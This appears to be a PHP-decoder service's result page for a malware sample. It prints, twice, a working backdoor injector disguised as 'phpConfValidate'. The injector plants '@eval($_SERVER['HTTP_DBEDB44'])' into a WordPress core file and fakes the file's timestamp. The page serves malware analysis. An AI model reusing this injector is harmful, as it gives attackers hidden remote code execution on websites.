Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
phpConfValidate('YTo0OntpOjA7czo3ODoiL2hvbWUvZXN2Mi9kb21haW5zL2Vzdi50d2luc2Vuc2Utb250d2lra..
Decoded Output download
<? phpConfValidate('YTo0OntpOjA7czo3ODoiL2hvbWUvZXN2Mi9kb21haW5zL2Vzdi50d2luc2Vuc2Utb250d2lra2VsLm5sL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2wxMG4ucGhwIjtpOjE7czo3OiJEQkVEQjQ0IjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfREJFREI0NCddKTsiO2k6MztzOjM0OiJ+XlxzKmZ1bmN0aW9uXHMrZGV0ZXJtaW5lX2xvY2FsZX5tIjt9');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (strstr($source, $systemEnv) !== false) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
if (strstr($newSource, $systemEnv) === false) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
} ?>
Did this file decode correctly?
Original Code
phpConfValidate('YTo0OntpOjA7czo3ODoiL2hvbWUvZXN2Mi9kb21haW5zL2Vzdi50d2luc2Vuc2Utb250d2lra2VsLm5sL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2wxMG4ucGhwIjtpOjE7czo3OiJEQkVEQjQ0IjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfREJFREI0NCddKTsiO2k6MztzOjM0OiJ+XlxzKmZ1bmN0aW9uXHMrZGV0ZXJtaW5lX2xvY2FsZX5tIjt9');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (strstr($source, $systemEnv) !== false) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
if (strstr($newSource, $systemEnv) === false) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
Function Calls
phpConfValidate | 1 |
Stats
MD5 | 0229866b5ff61344482186aaf2c1312c |
Eval Count | 0 |
Decode Time | 40 ms |